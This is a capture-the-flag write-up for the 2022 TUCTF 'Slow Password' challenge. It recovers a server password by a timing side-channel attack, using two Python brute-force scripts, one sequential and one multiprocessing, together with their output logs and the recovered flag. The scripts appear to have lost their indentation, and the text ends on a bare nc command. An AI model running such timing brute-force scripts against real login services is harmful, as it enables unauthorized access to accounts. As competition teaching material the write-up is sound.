Slow Password is a misc challenge that was part of the 2022 TUCTF. We have to find a way to get the password. The challenge description:

My friend is hiding a file in his admin panel. He won’t tell me the password, but he’s a lousy coder and I know his password check is slow. Can you help me find the password?

nc chals.tuctf.com 30101

## Solution

Like the challenge title says, the password check is slow. We can use this to our advantage. A timing attack can be used to find the password. This means that we can guess the password character by character and don’t have to guess the whole password at once.

### First attempt

We have to write a script that measures the time our password guess took and use the results that took the longest.

After some tests, we found out that the length of the password is not being checked. If the correct password would be `hackerman`, the input `hackerman123` would also be a correct guess.

``````#!/usr/bin/env python
import time
import string
import socket

allowed_chars = string.printable[:-5]

exec_time = 0

def check(input):
global exec_time
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect(("chals.tuctf.com", 30101))
s.recv(61)
s.send(input.encode() + b"\n")
t0 = time.time_ns()
r = s.recv(64).decode()
exec_time = time.time_ns() - t0
s.close()
if r == "Incorrect password!\n" or r == "":
return False
print(r)
return True

length = 16
tmp = "XXXXXXXXXXXXXXXX"
best = tmp
i = 0
best_time = exec_time

while True:
for char in allowed_chars:
input = tmp[:i] + char + tmp[i + 1:]

if check(input):
print(f"getPassword: {best} [{best_time}] ({(i + 1)} \
/{length})\n", end="\r", flush=True)
print(input)
break

if best_time < exec_time:
best_time = exec_time
best = input

tmp = best
print(f"getPassword: {best} [{best_time}] ({(i + 1)} \
/{length})\n", end="\r", flush=True)
i += 1
``````

The script is pretty simple. It sends a guess to the server and measures the time it took. If the time is longer than the previous guess, it saves the guess and the time. If the guess is correct, it prints the result and input.

Our first guess was a maximum password length of 16 characters:

``````getPassword: TXXXXXXXXXXXXXXX [1217399781] (1/16)
``````

But the password was longer… we had to increase the length of our guesses:

``````getPassword: TfbGMJsEaNTY_46XXXXX [15293849146] (15/20)
``````

And again:

``````getPassword: TfbGMJsEaNTY_468260XXXXXXXXXXXXX [19246731663] (19/32)
``````

At this point, one guess took about 30 seconds, and we have to test ~95 characters per position. This is not going to work (> 45 min / position and more).

## Solution

Due to the fact that every correct password position takes about one second, we have to improve our script with `multiprocessing`. We can send multiple guesses at the same time and use the results later.

``````#!/usr/bin/env python
import time
import string
import socket

from multiprocessing import cpu_count
from multiprocessing import Pool
from multiprocessing.dummy import Pool as ThreadPool

allowed_chars = string.printable[:-5]
#allowed_chars = string.ascii_uppercase + "_"
print(allowed_chars)

def check(input):
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect(("chals.tuctf.com", 30101))
s.recv(61)
s.send(input.encode() + b"\n")
t0 = time.time_ns()
r = s.recv(64)
exec_time = time.time_ns() - t0
s.close()
print("\n\n>", r, "<\n")
return (input, exec_time)

input = "TfbGMJsEaNTY_468260_cbmabfu"

while True:
keys = []
values = []

with Pool(processes=len(allowed_chars)) as pool:
results = pool.imap_unordered(check, [input + c for c in \
allowed_chars])

for r in results:
keys.append(r[0])
values.append(r[1])
print(r[0][-1], end="", flush=True)

input = keys[values.index(max(values))]

print(f" --> {input} [{max(values)}]")
``````

To reduce the number of processes, we sometimes limit the `allowed_chars` if we thought we could predict the next character.

Output:

``````0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#\$%&' \
()*+,-./:;<=>?@[\]^_`{|}~
n97m34bh5p8c0ql21g6feskdoitjaruvwxyzABIGEFCHWSONLTDJQMPVRXKUYZ!#"\$&%' \
()*+/,<:?.-\=;_@]>[^`{|} ~ --> TfbGMJsEaNTY_468260_cbmabfu_LOL_U \
[33232989195]
bo142i6t0apncrf5me7lgd8sj3qkh9uvwyzAJDGEHXLSVTOQRCBUMKINFPxWYZ!"#\$%&' \
()*+-./,:;<=>?@\[_^]`{|}~  --> TfbGMJsEaNTY_468260_cbmabfu_LOL_UM \
[34307214276]
j6se1dl7bar5im2p8khfco03tqn94gvwuzxyGFBCJIHDERMKQOLUPTNWVSXAY!"Z#\$%'& \
()*,+-.:/;>[=<@^?]`\_{}|~  --> TfbGMJsEaNTY_468260_cbmabfu_LOL_UMA \
[35296313070]
k748ti9c0sr21hma3pjfelo5qg6bdnuvwxzyBACEFMHJPIWSQOVKTLRGUNXDYZ!"#\$&' \
%()*+,-./;?=<]@[^:\>_`{|}~  --> TfbGMJsEaNTY_468260_cbmabfu_LOL_ \
250boc4atimd3jpqkge67nhr19lsf8uvwAyDBCHQIFLNKVzUWRGEPxTMXOJSYZ!#"%\$& \
'(),*+-/.:;><=@[]`_\^?{|}~  --> TfbGMJsEaNTY_468260_cbmabfu_LOL_ \
51j7edhb2sqpm64kot30fig9n8lrcauvywxDGIABQPKURHWTEMLCzJSFOVXNZ!Y#"\$%& \
'(*+),-.:=;</>@[^`\]?_{|}~  --> TfbGMJsEaNTY_468260_cbmabfu_LOL_ \
36fa8neg920rtb4jmqcko1h5pl7idsvxwuBEzLTFOAUKNQGPyWSHJVXDCRMIYZ!"#\$%& \
'(+)*,.;/<@-?>][=:\^_`{|} ~ --> TfbGMJsEaNTY_468260_cbmabfu_LOL_ \
'()*.,:+-;</=>?@[\]_`^{}~|  --> TfbGMJsEaNTY_468260_cbmabfu_LOL_ \
0hq87cl6f42nrg53bk91josaidemtpuvwxAzCFHJyDELBPMUOWVNSRQIGTKXYZ!"#\$%& \
(',).*-+;>=:@/[?<]^\`_{|}~  --> TfbGMJsEaNTY_468260_cbmabfu_LOL_ \
35fthibs7j9ac816rdkne42lg0opmquvxwzyABDFCGOQIPNTMSREXHJLUVWKYZ#!\$"%& \
'()*+-,/:[=<;>^.]@\?_`{|}~  --> TfbGMJsEaNTY_468260_cbmabfu_LOL_ \
4132570k6q8pb9tnfrdgjhleiocamuwvxzAyCDGIHMNLBPTRWVQUEKFJSOXYZ!"\$#%& \
()'-+*.;,/:?<\=>@[]^_`{}| ~s --> TfbGMJsEaNTY_468260_cbmabfu_LOL_ \
c9hilr67npbofmgd2stke0j84a15q3uvywAFBHIDLzKMROQUTXWEGPJCSxVNYZ"!#%\$' \
(&)*.,+:-/=;<>?@[]^\`_{|}~  --> TfbGMJsEaNTY_468260_cbmabfu_LOL_ \
0bdcjt3a94rq8hns7ef56ig12moklpuvwxAzyBDHCEJMGIKNLFOQRUSVWTXPYZ"!&#\$) \
'*%-+.;(:<,=?]@/[>^\_`{|} ~ --> TfbGMJsEaNTY_468260_cbmabfu_LOL_ \
a21h8lern9o5fscb3mpjk0g4q76dtiuvxywBDCFHMJLKONRAEUVPXzIGQWTSZY!"#\$%& \
('+).,*-:;/<>=?[@\_`^]{|~ } --> TfbGMJsEaNTY_468260_cbmabfu_LOL_ \
``````

Here we only use capital letters and `_`:

``````ABCDEFGHIJKLMNOPQRSTUVWXYZ_
_IT_KEEPS_ [47287110430]
_IT_KEEPS_G [48304242679]
_IT_KEEPS_GO [49271433724]
_IT_KEEPS_GOI [50266267276]
_IT_KEEPS_GOIN [51319796003]

> b'Welcome, admin! Have a flag:\nTUCTF{wh47_4_5l0w_4l60r17hm_426793}' <
...
``````

The last position can be any character, but the password is not valid without it.

Here, we used `G` as the last character:

``````\$ nc chals.tuctf.com 30101